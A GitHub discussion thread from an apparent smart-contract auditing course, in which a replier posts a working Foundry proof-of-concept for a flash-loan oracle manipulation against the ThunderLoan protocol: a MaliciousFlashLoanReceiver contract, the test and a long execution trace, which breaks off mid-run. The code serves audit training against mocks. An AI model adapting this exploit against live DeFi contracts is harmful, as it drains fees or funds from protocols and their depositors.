Oracle Manipulation keeps reverting with proxy issue #331
0xxProxyma
started this conversation in
General
Replies: 2 comments 3 replies
-
Hello @0xxProxyma, can you pinpoint where the below token transfer is happening in your code? ├─ [1563] ERC20Mock::transfer(AssetToken: [0xeafCcCE3F73a1ac8690F49acF56C4142183619dd], 50148073705159559194 [5.014e19])
│ │ │ │ └─ ← [Revert] ERC20InsufficientBalance(0xD6BbDE9174b1CdAa358d2Cf4D57D1a9F7178FBfF, 49933906104227368889 [4.993e19], 50148073705159559194 [5.014e19])
│ │ │ └─ ← [Revert] ERC20InsufficientBalance(0xD6BbDE9174b1CdAa358d2Cf4D57D1a9F7178FBfF, 49933906104227368889 [4.993e19], 50148073705159559194 [5.014e19]) |
Beta Was this translation helpful? Give feedback.
3 replies
-
Below is my code for this test, which works fine. You can compare it against yours to see where you are making a mistake. MaliciousFlashLoanReceiver // SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.20;
import { IFlashLoanReceiver } from "../../src/interfaces/IFlashLoanReceiver.sol";
import { ThunderLoan } from "../../src/protocol/ThunderLoan.sol";
import { BuffMockTSwap } from "./BuffMockTSwap.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {Script, console2} from "forge-std/Script.sol";
contract MaliciousFlashLoanReceiver is IFlashLoanReceiver, Script {
ThunderLoan thunder_loan_protocol;
BuffMockTSwap tswap_protocol;
address repay_address;
bool attacked;
uint256 public first_fee;
uint256 public second_fee;
constructor(address _thunder_loan, address _tswap, address _repay_address) {
thunder_loan_protocol = ThunderLoan(_thunder_loan);
tswap_protocol = BuffMockTSwap(_tswap);
repay_address = _repay_address;
}
function executeOperation(
address token,
uint256 amount,
uint256 fee,
address /*initiator*/,
bytes calldata /*params*/
)
external
returns (bool)
{
if(!attacked) {
// get flashloan from ThunderLoan protocol
first_fee = fee;
attacked = true;
uint256 weth_bought = tswap_protocol.getOutputAmountBasedOnInput(50 ether, 100 ether, 10 ether);
IERC20(token).approve(address(tswap_protocol), 50 ether);
// swap the loan you get on TSwap protocol
tswap_protocol.swapPoolTokenForWethBasedOnInputPoolToken(50 ether, weth_bought, block.timestamp);
// get another loan from ThunderLoan protocol
thunder_loan_protocol.flashloan(address(this), IERC20(token), amount, "");
// repay
// IERC20(token).approve(address(thunder_loan_protocol), amount + fee);
// thunder_loan_protocol.repay(IERC20(token), amount + fee);
IERC20(token).transfer(repay_address, amount + fee);
} else {
second_fee = fee;
// Pay back all of the loan plus the fee
// IERC20(token).approve(address(thunder_loan_protocol), amount + fee);
// thunder_loan_protocol.repay(IERC20(token), amount + fee);
console2.log("The fee for the second flashloan call is: ", second_fee);
IERC20(token).transfer(repay_address, amount + second_fee);
}
return true;
}
} test_TSwap_protocol_price_get_manipulated_and_disrupt_Thunderloan_protocol function test_TSwap_protocol_price_get_manipulated_and_disrupt_Thunderloan_protocol() public {
// set up tokens
// set up pool factory
BuffMockPoolFactory pool_factory = new BuffMockPoolFactory(address(weth));
// deploy a tswap pool
address tswap_pool_address = pool_factory.createPool(address(tokenA));
BuffMockTSwap tswap_pool = BuffMockTSwap(tswap_pool_address);
// set up a ThunderLoan protocol
thunderLoan = new ThunderLoan();
proxy = new ERC1967Proxy(address(thunderLoan), "");
thunderLoan = ThunderLoan(address(proxy));
thunderLoan.initialize(address(pool_factory));
// fund TSwap with liquidity
vm.startPrank(liquidityProvider);
tokenA.mint(liquidityProvider, 100e18);
weth.mint(liquidityProvider, 10e18);
tokenA.approve(address(tswap_pool_address), type(uint256).max);
weth.approve(address(tswap_pool_address), type(uint256).max);
tswap_pool.deposit(10e18, 10e18, 100e18, block.timestamp); // ratio is 1 WETH : 10 TOKENA
vm.stopPrank();
// set tokenA to an allowed token on Thunderloan protocol
vm.prank(thunderLoan.owner());
thunderLoan.setAllowedToken(tokenA, true);
// fund Thunderloan with liquidity
vm.startPrank(liquidityProvider);
tokenA.mint(liquidityProvider, 1000e18);
tokenA.approve(address(thunderLoan), type(uint256).max);
thunderLoan.deposit(tokenA, 1000e18);
vm.stopPrank();
// calculate what the normal fee is suppose to be when one borrow total of 100 ether tokenA from the ThunderLoan
// protocol
uint256 normal_thunder_loan_fee = thunderLoan.getCalculatedFee(tokenA, 100 ether);
console2.log("The normal ThunderLoan fee for borrowing 100 ether worth of tokenA is: ", normal_thunder_loan_fee);
// set up a malicious flashloan receiver contract
MaliciousFlashLoanReceiver malicious_flashloan_receiver_contract = new MaliciousFlashLoanReceiver(address(thunderLoan), address(tswap_pool), address(thunderLoan.getAssetFromToken(tokenA)));
tokenA.mint(address(malicious_flashloan_receiver_contract), 100 ether);
// borrow a loan from Thunderloan
uint256 amount_to_borrow = 50 ether;
vm.prank(user);
thunderLoan.flashloan(address(malicious_flashloan_receiver_contract), tokenA, amount_to_borrow, "");
// use the loan to disrupt the price on tswap pool
// borrow another which would calculate fees based on the disrupted price
// repay back both loan to Thunderloan protocol
// confirm that we actually pay less than we are suppose to for fee to the ThunderLoan protocol
uint256 fee_paid_for_flashloan = malicious_flashloan_receiver_contract.first_fee() + malicious_flashloan_receiver_contract.second_fee();
console2.log("The actual fee paid when we attack the ThunderLoan protocol is: ", fee_paid_for_flashloan);
assert(fee_paid_for_flashloan < normal_thunder_loan_fee);
} Below is the result of the test forge test --mt test_TSwap_protocol_price_get_manipulated_and_disrupt_Thunderloan_protocol -vvvv
[⠊] Compiling...
[⠔] Compiling 56 files with Solc 0.8.20
[⠑] Solc 0.8.20 finished in 2.50s
Compiler run successful!
Ran 1 test for test/unit/ThunderLoanTest.t.sol:ThunderLoanTest
[PASS] test_TSwap_protocol_price_get_manipulated_and_disrupt_Thunderloan_protocol() (gas: 13889356)
Logs:
isTopLevelCall is: true
initialized is: 0
initialSetup is: true
construction is: false
isTopLevelCall is: true
initialized is: 0
initialSetup is: true
construction is: false
The normal ThunderLoan fee for borrowing 100 ether worth of tokenA is: 29614741031911838
This is the number: 1
The starting balance is: 1000000000000000000000
This is the number: 1
The starting balance is: 950000000000000000000
The fee for the second flashloan call is: 6609389577263111
ending balance is: 950006609389577263111
The starting balance at the point of check is: 950000000000000000000
ending balance is: 1000021416760093219030
The starting balance at the point of check is: 1000000000000000000000
The actual fee paid when we attack the ThunderLoan protocol is: 21416760093219030
Traces:
[13988856] ThunderLoanTest::test_TSwap_protocol_price_get_manipulated_and_disrupt_Thunderloan_protocol()
├─ [3280847] → new BuffMockPoolFactory@0xa0Cb889707d426A7A386870A03bc70d1b0697598
│ └─ ← [Return] 16384 bytes of code
├─ [2641674] BuffMockPoolFactory::createPool(ERC20Mock: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9])
│ ├─ [2556760] → new BuffMockTSwap@0x83B4EEa426B7328eB3bE89cDb558F18BAF6A2Bf7
│ │ └─ ← [Return] 12530 bytes of code
│ ├─ emit PoolCreated(tokenAddress: ERC20Mock: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9], poolAddress: BuffMockTSwap: [0x83B4EEa426B7328eB3bE89cDb558F18BAF6A2Bf7])
│ └─ ← [Return] BuffMockTSwap: [0x83B4EEa426B7328eB3bE89cDb558F18BAF6A2Bf7]
├─ [4898128] → new ThunderLoan@0x1d1499e622D69689cdf9004d05Ec547d650Ff211
│ ├─ emit Initialized(version: 18446744073709551615 [1.844e19])
│ └─ ← [Return] 24230 bytes of code
├─ [67232] → new ERC1967Proxy@0xA4AD4f68d0b91CFD19687c881e50f3A00242828c
│ ├─ emit Upgraded(implementation: ThunderLoan: [0x1d1499e622D69689cdf9004d05Ec547d650Ff211])
│ └─ ← [Return] 212 bytes of code
├─ [124398] ERC1967Proxy::fallback(BuffMockPoolFactory: [0xa0Cb889707d426A7A386870A03bc70d1b0697598])
│ ├─ [123924] ThunderLoan::initialize(BuffMockPoolFactory: [0xa0Cb889707d426A7A386870A03bc70d1b0697598]) [delegatecall]
│ │ ├─ [0] console::log("isTopLevelCall is: ", true) [staticcall]
│ │ │ └─ ← [Stop]
│ │ ├─ [0] console::log("initialized is: ", 0) [staticcall]
│ │ │ └─ ← [Stop]
│ │ ├─ [0] console::log("initialSetup is: ", true) [staticcall]
│ │ │ └─ ← [Stop]
│ │ ├─ [0] console::log("construction is: ", false) [staticcall]
│ │ │ └─ ← [Stop]
│ │ ├─ emit OwnershipTransferred(previousOwner: 0x0000000000000000000000000000000000000000, newOwner: ThunderLoanTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
│ │ ├─ emit Initialized(version: 1)
│ │ └─ ← [Stop]
│ └─ ← [Return]
├─ [0] VM::startPrank(0x000000000000000000000000000000000000007B)
│ └─ ← [Return]
├─ [47293] ERC20Mock::mint(0x000000000000000000000000000000000000007B, 100000000000000000000 [1e20])
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x000000000000000000000000000000000000007B, value: 100000000000000000000 [1e20])
│ └─ ← [Stop]
├─ [47293] ERC20Mock::mint(0x000000000000000000000000000000000000007B, 10000000000000000000 [1e19])
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x000000000000000000000000000000000000007B, value: 10000000000000000000 [1e19])
│ └─ ← [Stop]
├─ [25298] ERC20Mock::approve(BuffMockTSwap: [0x83B4EEa426B7328eB3bE89cDb558F18BAF6A2Bf7], 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
│ ├─ emit Approval(owner: 0x000000000000000000000000000000000000007B, spender: BuffMockTSwap: [0x83B4EEa426B7328eB3bE89cDb558F18BAF6A2Bf7], value: 115792089237316195423570985008687907853269984665640564039457584007913129639935
[1.157e77]) │ └─ ← [Return] true
├─ [25298] ERC20Mock::approve(BuffMockTSwap: [0x83B4EEa426B7328eB3bE89cDb558F18BAF6A2Bf7], 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
│ ├─ emit Approval(owner: 0x000000000000000000000000000000000000007B, spender: BuffMockTSwap: [0x83B4EEa426B7328eB3bE89cDb558F18BAF6A2Bf7], value: 115792089237316195423570985008687907853269984665640564039457584007913129639935
[1.157e77]) │ └─ ← [Return] true
├─ [107143] BuffMockTSwap::deposit(10000000000000000000 [1e19], 10000000000000000000 [1e19], 100000000000000000000 [1e20], 1)
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x000000000000000000000000000000000000007B, value: 10000000000000000000 [1e19])
│ ├─ emit LiquidityAdded(liquidityProvider: 0x000000000000000000000000000000000000007B, wethDeposited: 10000000000000000000 [1e19], poolTokensDeposited: 100000000000000000000 [1e20])
│ ├─ [26363] ERC20Mock::transferFrom(0x000000000000000000000000000000000000007B, BuffMockTSwap: [0x83B4EEa426B7328eB3bE89cDb558F18BAF6A2Bf7], 10000000000000000000 [1e19])
│ │ ├─ emit Transfer(from: 0x000000000000000000000000000000000000007B, to: BuffMockTSwap: [0x83B4EEa426B7328eB3bE89cDb558F18BAF6A2Bf7], value: 10000000000000000000 [1e19])
│ │ └─ ← [Return] true
│ ├─ [26363] ERC20Mock::transferFrom(0x000000000000000000000000000000000000007B, BuffMockTSwap: [0x83B4EEa426B7328eB3bE89cDb558F18BAF6A2Bf7], 100000000000000000000 [1e20])
│ │ ├─ emit Transfer(from: 0x000000000000000000000000000000000000007B, to: BuffMockTSwap: [0x83B4EEa426B7328eB3bE89cDb558F18BAF6A2Bf7], value: 100000000000000000000 [1e20])
│ │ └─ ← [Return] true
│ └─ ← [Return] 10000000000000000000 [1e19]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [1130] ERC1967Proxy::fallback() [staticcall]
│ ├─ [656] ThunderLoan::owner() [delegatecall]
│ │ └─ ← [Return] ThunderLoanTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]
│ └─ ← [Return] ThunderLoanTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]
├─ [0] VM::prank(ThunderLoanTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
│ └─ ← [Return]
├─ [1406649] ERC1967Proxy::fallback(ERC20Mock: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9], true)
│ ├─ [1406169] ThunderLoan::setAllowedToken(ERC20Mock: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9], true) [delegatecall]
│ │ ├─ [3421] ERC20Mock::name() [staticcall]
│ │ │ └─ ← [Return] "ERC20Mock"
│ │ ├─ [3464] ERC20Mock::symbol() [staticcall]
│ │ │ └─ ← [Return] "E20M"
│ │ ├─ [1334291] → new AssetToken@0xeafCcCE3F73a1ac8690F49acF56C4142183619dd
│ │ │ └─ ← [Return] 6315 bytes of code
│ │ ├─ emit AllowedTokenSet(token: ERC20Mock: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9], asset: AssetToken: [0xeafCcCE3F73a1ac8690F49acF56C4142183619dd], allowed: true)
│ │ └─ ← [Return] AssetToken: [0xeafCcCE3F73a1ac8690F49acF56C4142183619dd]
│ └─ ← [Return] AssetToken: [0xeafCcCE3F73a1ac8690F49acF56C4142183619dd]
├─ [0] VM::startPrank(0x000000000000000000000000000000000000007B)
│ └─ ← [Return]
├─ [23393] ERC20Mock::mint(0x000000000000000000000000000000000000007B, 1000000000000000000000 [1e21])
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x000000000000000000000000000000000000007B, value: 1000000000000000000000 [1e21])
│ └─ ← [Stop]
├─ [25298] ERC20Mock::approve(ERC1967Proxy: [0xA4AD4f68d0b91CFD19687c881e50f3A00242828c], 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
│ ├─ emit Approval(owner: 0x000000000000000000000000000000000000007B, spender: ERC1967Proxy: [0xA4AD4f68d0b91CFD19687c881e50f3A00242828c], value: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [
1.157e77]) │ └─ ← [Return] true
├─ [94578] ERC1967Proxy::fallback(ERC20Mock: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9], 1000000000000000000000 [1e21])
│ ├─ [94101] ThunderLoan::deposit(ERC20Mock: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9], 1000000000000000000000 [1e21]) [delegatecall]
│ │ ├─ [520] AssetToken::getExchangeRate() [staticcall]
│ │ │ └─ ← [Return] 1000000000000000000 [1e18]
│ │ ├─ [370] AssetToken::EXCHANGE_RATE_PRECISION() [staticcall]
│ │ │ └─ ← [Return] 1000000000000000000 [1e18]
│ │ ├─ emit Deposit(account: 0x000000000000000000000000000000000000007B, token: ERC20Mock: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9], amount: 1000000000000000000000 [1e21])
│ │ ├─ [47394] AssetToken::mint(0x000000000000000000000000000000000000007B, 1000000000000000000000 [1e21])
│ │ │ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x000000000000000000000000000000000000007B, value: 1000000000000000000000 [1e21])
│ │ │ └─ ← [Stop]
│ │ ├─ [956] BuffMockPoolFactory::getPool(ERC20Mock: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9]) [staticcall]
│ │ │ └─ ← [Return] BuffMockTSwap: [0x83B4EEa426B7328eB3bE89cDb558F18BAF6A2Bf7]
│ │ ├─ [4907] BuffMockTSwap::getPriceOfOnePoolTokenInWeth() [staticcall]
│ │ │ ├─ [851] ERC20Mock::balanceOf(BuffMockTSwap: [0x83B4EEa426B7328eB3bE89cDb558F18BAF6A2Bf7]) [staticcall]
│ │ │ │ └─ ← [Return] 100000000000000000000 [1e20]
│ │ │ ├─ [851] ERC20Mock::balanceOf(BuffMockTSwap: [0x83B4EEa426B7328eB3bE89cDb558F18BAF6A2Bf7]) [staticcall]
│ │ │ │ └─ ← [Return] 10000000000000000000 [1e19]
│ │ │ └─ ← [Return] 98715803439706129 [9.871e16]
│ │ ├─ [2995] AssetToken::updateExchangeRate(296147410319118387 [2.961e17])
│ │ │ ├─ emit ExchangeRateUpdated(newExchangeRate: 1000296147410319118 [1e18])
│ │ │ └─ ← [Stop]
│ │ ├─ [26363] ERC20Mock::transferFrom(0x000000000000000000000000000000000000007B, AssetToken: [0xeafCcCE3F73a1ac8690F49acF56C4142183619dd], 1000000000000000000000 [1e21])
│ │ │ ├─ emit Transfer(from: 0x000000000000000000000000000000000000007B, to: AssetToken: [0xeafCcCE3F73a1ac8690F49acF56C4142183619dd], value: 1000000000000000000000 [1e21])
│ │ │ └─ ← [Return] true
│ │ └─ ← [Stop]
│ └─ ← [Return]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [9864] ERC1967Proxy::fallback(ERC20Mock: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9], 100000000000000000000 [1e20]) [staticcall]
│ ├─ [9384] ThunderLoan::getCalculatedFee(ERC20Mock: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9], 100000000000000000000 [1e20]) [delegatecall]
│ │ ├─ [956] BuffMockPoolFactory::getPool(ERC20Mock: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9]) [staticcall]
│ │ │ └─ ← [Return] BuffMockTSwap: [0x83B4EEa426B7328eB3bE89cDb558F18BAF6A2Bf7]
│ │ ├─ [4907] BuffMockTSwap::getPriceOfOnePoolTokenInWeth() [staticcall]
│ │ │ ├─ [851] ERC20Mock::balanceOf(BuffMockTSwap: [0x83B4EEa426B7328eB3bE89cDb558F18BAF6A2Bf7]) [staticcall]
│ │ │ │ └─ ← [Return] 100000000000000000000 [1e20]
│ │ │ ├─ [851] ERC20Mock::balanceOf(BuffMockTSwap: [0x83B4EEa426B7328eB3bE89cDb558F18BAF6A2Bf7]) [staticcall]
│ │ │ │ └─ ← [Return] 10000000000000000000 [1e19]
│ │ │ └─ ← [Return] 98715803439706129 [9.871e16]
│ │ └─ ← [Return] 29614741031911838 [2.961e16]
│ └─ ← [Return] 29614741031911838 [2.961e16]
├─ [0] console::log("The normal ThunderLoan fee for borrowing 100 ether worth of tokenA is: ", 29614741031911838 [2.961e16]) [staticcall]
│ └─ ← [Stop]
├─ [1628] ERC1967Proxy::fallback(ERC20Mock: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9]) [staticcall]
│ ├─ [1151] ThunderLoan::getAssetFromToken(ERC20Mock: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9]) [delegatecall]
│ │ └─ ← [Return] AssetToken: [0xeafCcCE3F73a1ac8690F49acF56C4142183619dd]
│ └─ ← [Return] AssetToken: [0xeafCcCE3F73a1ac8690F49acF56C4142183619dd]
├─ [717604] → new MaliciousFlashLoanReceiver@0x03A6a84cD762D9707A21605b548aaaB891562aAb
│ └─ ← [Return] 3245 bytes of code
├─ [25393] ERC20Mock::mint(MaliciousFlashLoanReceiver: [0x03A6a84cD762D9707A21605b548aaaB891562aAb], 100000000000000000000 [1e20])
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: MaliciousFlashLoanReceiver: [0x03A6a84cD762D9707A21605b548aaaB891562aAb], value: 100000000000000000000 [1e20])
│ └─ ← [Stop]
├─ [0] VM::prank(0x00000000000000000000000000000000000001c8)
│ └─ ← [Return]
├─ [227176] ERC1967Proxy::fallback(MaliciousFlashLoanReceiver: [0x03A6a84cD762D9707A21605b548aaaB891562aAb], ERC20Mock: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9], 50000000000000000000 [5e19], 0x)
│ ├─ [226681] ThunderLoan::flashloan(MaliciousFlashLoanReceiver: [0x03A6a84cD762D9707A21605b548aaaB891562aAb], ERC20Mock: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9], 50000000000000000000 [5e19], 0x) [delegatecall]
│ │ ├─ [851] ERC20Mock::balanceOf(AssetToken: [0xeafCcCE3F73a1ac8690F49acF56C4142183619dd]) [staticcall]
│ │ │ └─ ← [Return] 1000000000000000000000 [1e21]
│ │ ├─ [0] console::log("This is the number: ", 1) [staticcall]
│ │ │ └─ ← [Stop]
│ │ ├─ [0] console::log("The starting balance is: ", 1000000000000000000000 [1e21]) [staticcall]
│ │ │ └─ ← [Stop]
│ │ ├─ [956] BuffMockPoolFactory::getPool(ERC20Mock: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9]) [staticcall]
│ │ │ └─ ← [Return] BuffMockTSwap: [0x83B4EEa426B7328eB3bE89cDb558F18BAF6A2Bf7]
│ │ ├─ [4907] BuffMockTSwap::getPriceOfOnePoolTokenInWeth() [staticcall]
│ │ │ ├─ [851] ERC20Mock::balanceOf(BuffMockTSwap: [0x83B4EEa426B7328eB3bE89cDb558F18BAF6A2Bf7]) [staticcall]
│ │ │ │ └─ ← [Return] 100000000000000000000 [1e20]
│ │ │ ├─ [851] ERC20Mock::balanceOf(BuffMockTSwap: [0x83B4EEa426B7328eB3bE89cDb558F18BAF6A2Bf7]) [staticcall]
│ │ │ │ └─ ← [Return] 10000000000000000000 [1e19]
│ │ │ └─ ← [Return] 98715803439706129 [9.871e16]
│ │ ├─ [2995] AssetToken::updateExchangeRate(14807370515955919 [1.48e16])
│ │ │ ├─ emit ExchangeRateUpdated(newExchangeRate: 1000310959165999505 [1e18])
│ │ │ └─ ← [Stop]
│ │ ├─ emit FlashLoan(receiverAddress: MaliciousFlashLoanReceiver: [0x03A6a84cD762D9707A21605b548aaaB891562aAb], token: ERC20Mock: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9], amount: 50000000000000000000 [5e19], fee: 14807
370515955919 [1.48e16], params: 0x) │ │ ├─ [6578] AssetToken::transferUnderlyingTo(MaliciousFlashLoanReceiver: [0x03A6a84cD762D9707A21605b548aaaB891562aAb], 50000000000000000000 [5e19])
│ │ │ ├─ [3872] ERC20Mock::transfer(MaliciousFlashLoanReceiver: [0x03A6a84cD762D9707A21605b548aaaB891562aAb], 50000000000000000000 [5e19])
│ │ │ │ ├─ emit Transfer(from: AssetToken: [0xeafCcCE3F73a1ac8690F49acF56C4142183619dd], to: MaliciousFlashLoanReceiver: [0x03A6a84cD762D9707A21605b548aaaB891562aAb], value: 50000000000000000000 [5e19])
│ │ │ │ └─ ← [Return] true
│ │ │ └─ ← [Stop]
│ │ ├─ [169665] MaliciousFlashLoanReceiver::executeOperation(ERC20Mock: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9], 50000000000000000000 [5e19], 14807370515955919 [1.48e16], 0x00000000000000000000000000000000000001c8, 0x)
│ │ │ ├─ [2336] BuffMockTSwap::getOutputAmountBasedOnInput(50000000000000000000 [5e19], 100000000000000000000 [1e20], 10000000000000000000 [1e19]) [staticcall]
│ │ │ │ └─ ← [Return] 3326659993326659993 [3.326e18]
│ │ │ ├─ [25298] ERC20Mock::approve(BuffMockTSwap: [0x83B4EEa426B7328eB3bE89cDb558F18BAF6A2Bf7], 50000000000000000000 [5e19])
│ │ │ │ ├─ emit Approval(owner: MaliciousFlashLoanReceiver: [0x03A6a84cD762D9707A21605b548aaaB891562aAb], spender: BuffMockTSwap: [0x83B4EEa426B7328eB3bE89cDb558F18BAF6A2Bf7], value: 50000000000000000000 [5e19])
│ │ │ │ └─ ← [Return] true
│ │ │ ├─ [42403] BuffMockTSwap::swapPoolTokenForWethBasedOnInputPoolToken(50000000000000000000 [5e19], 3326659993326659993 [3.326e18], 1)
│ │ │ │ ├─ [851] ERC20Mock::balanceOf(BuffMockTSwap: [0x83B4EEa426B7328eB3bE89cDb558F18BAF6A2Bf7]) [staticcall]
│ │ │ │ │ └─ ← [Return] 100000000000000000000 [1e20]
│ │ │ │ ├─ [851] ERC20Mock::balanceOf(BuffMockTSwap: [0x83B4EEa426B7328eB3bE89cDb558F18BAF6A2Bf7]) [staticcall]
│ │ │ │ │ └─ ← [Return] 10000000000000000000 [1e19]
│ │ │ │ ├─ emit PoolTokenSwappedForWeth(swapper: MaliciousFlashLoanReceiver: [0x03A6a84cD762D9707A21605b548aaaB891562aAb], poolTokenSold: 3326659993326659993 [3.326e18], wethReceived: 50000000000000000000 [5e19])
│ │ │ │ ├─ [25772] ERC20Mock::transfer(MaliciousFlashLoanReceiver: [0x03A6a84cD762D9707A21605b548aaaB891562aAb], 3326659993326659993 [3.326e18])
│ │ │ │ │ ├─ emit Transfer(from: BuffMockTSwap: [0x83B4EEa426B7328eB3bE89cDb558F18BAF6A2Bf7], to: MaliciousFlashLoanReceiver: [0x03A6a84cD762D9707A21605b548aaaB891562aAb], value: 3326659993326659993 [3.326e18])
│ │ │ │ │ └─ ← [Return] true
│ │ │ │ ├─ [4916] ERC20Mock::transferFrom(MaliciousFlashLoanReceiver: [0x03A6a84cD762D9707A21605b548aaaB891562aAb], BuffMockTSwap: [0x83B4EEa426B7328eB3bE89cDb558F18BAF6A2Bf7], 50000000000000000000 [5e19])
│ │ │ │ │ ├─ emit Transfer(from: MaliciousFlashLoanReceiver: [0x03A6a84cD762D9707A21605b548aaaB891562aAb], to: BuffMockTSwap: [0x83B4EEa426B7328eB3bE89cDb558F18BAF6A2Bf7], value: 50000000000000000000 [5e19])
│ │ │ │ │ └─ ← [Return] true
│ │ │ │ └─ ← [Return] 3326659993326659993 [3.326e18]
│ │ │ ├─ [65704] ERC1967Proxy::fallback(MaliciousFlashLoanReceiver: [0x03A6a84cD762D9707A21605b548aaaB891562aAb], ERC20Mock: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9], 50000000000000000000 [5e19], 0x)
│ │ │ │ ├─ [65209] ThunderLoan::flashloan(MaliciousFlashLoanReceiver: [0x03A6a84cD762D9707A21605b548aaaB891562aAb], ERC20Mock: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9], 50000000000000000000 [5e19], 0x) [delegatecall]
│ │ │ │ │ ├─ [851] ERC20Mock::balanceOf(AssetToken: [0xeafCcCE3F73a1ac8690F49acF56C4142183619dd]) [staticcall]
│ │ │ │ │ │ └─ ← [Return] 950000000000000000000 [9.5e20]
│ │ │ │ │ ├─ [0] console::log("This is the number: ", 1) [staticcall]
│ │ │ │ │ │ └─ ← [Stop]
│ │ │ │ │ ├─ [0] console::log("The starting balance is: ", 950000000000000000000 [9.5e20]) [staticcall]
│ │ │ │ │ │ └─ ← [Stop]
│ │ │ │ │ ├─ [956] BuffMockPoolFactory::getPool(ERC20Mock: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9]) [staticcall]
│ │ │ │ │ │ └─ ← [Return] BuffMockTSwap: [0x83B4EEa426B7328eB3bE89cDb558F18BAF6A2Bf7]
│ │ │ │ │ ├─ [4907] BuffMockTSwap::getPriceOfOnePoolTokenInWeth() [staticcall]
│ │ │ │ │ │ ├─ [851] ERC20Mock::balanceOf(BuffMockTSwap: [0x83B4EEa426B7328eB3bE89cDb558F18BAF6A2Bf7]) [staticcall]
│ │ │ │ │ │ │ └─ ← [Return] 150000000000000000000 [1.5e20]
│ │ │ │ │ │ ├─ [851] ERC20Mock::balanceOf(BuffMockTSwap: [0x83B4EEa426B7328eB3bE89cDb558F18BAF6A2Bf7]) [staticcall]
│ │ │ │ │ │ │ └─ ← [Return] 6673340006673340007 [6.673e18]
│ │ │ │ │ │ └─ ← [Return] 44062597181754074 [4.406e16]
│ │ │ │ │ ├─ [2995] AssetToken::updateExchangeRate(6609389577263111 [6.609e15])
│ │ │ │ │ │ ├─ emit ExchangeRateUpdated(newExchangeRate: 1000317570610827038 [1e18])
│ │ │ │ │ │ └─ ← [Stop]
│ │ │ │ │ ├─ emit FlashLoan(receiverAddress: MaliciousFlashLoanReceiver: [0x03A6a84cD762D9707A21605b548aaaB891562aAb], token: ERC20Mock: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9], amount: 50000000000000000000 [5e19]
, fee: 6609389577263111 [6.609e15], params: 0x) │ │ │ │ │ ├─ [6578] AssetToken::transferUnderlyingTo(MaliciousFlashLoanReceiver: [0x03A6a84cD762D9707A21605b548aaaB891562aAb], 50000000000000000000 [5e19])
│ │ │ │ │ │ ├─ [3872] ERC20Mock::transfer(MaliciousFlashLoanReceiver: [0x03A6a84cD762D9707A21605b548aaaB891562aAb], 50000000000000000000 [5e19])
│ │ │ │ │ │ │ ├─ emit Transfer(from: AssetToken: [0xeafCcCE3F73a1ac8690F49acF56C4142183619dd], to: MaliciousFlashLoanReceiver: [0x03A6a84cD762D9707A21605b548aaaB891562aAb], value: 50000000000000000000 [5e19])
│ │ │ │ │ │ │ └─ ← [Return] true
│ │ │ │ │ │ └─ ← [Stop]
│ │ │ │ │ ├─ [30093] MaliciousFlashLoanReceiver::executeOperation(ERC20Mock: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9], 50000000000000000000 [5e19], 6609389577263111 [6.609e15], MaliciousFlashLoanReceiver: [0x03A6a8
4cD762D9707A21605b548aaaB891562aAb], 0x) │ │ │ │ │ │ ├─ [0] console::log("The fee for the second flashloan call is: ", 6609389577263111 [6.609e15]) [staticcall]
│ │ │ │ │ │ │ └─ ← [Stop]
│ │ │ │ │ │ ├─ [3872] ERC20Mock::transfer(AssetToken: [0xeafCcCE3F73a1ac8690F49acF56C4142183619dd], 50006609389577263111 [5e19])
│ │ │ │ │ │ │ ├─ emit Transfer(from: MaliciousFlashLoanReceiver: [0x03A6a84cD762D9707A21605b548aaaB891562aAb], to: AssetToken: [0xeafCcCE3F73a1ac8690F49acF56C4142183619dd], value: 50006609389577263111 [5e19])
│ │ │ │ │ │ │ └─ ← [Return] true
│ │ │ │ │ │ └─ ← [Return] true
│ │ │ │ │ ├─ [851] ERC20Mock::balanceOf(AssetToken: [0xeafCcCE3F73a1ac8690F49acF56C4142183619dd]) [staticcall]
│ │ │ │ │ │ └─ ← [Return] 950006609389577263111 [9.5e20]
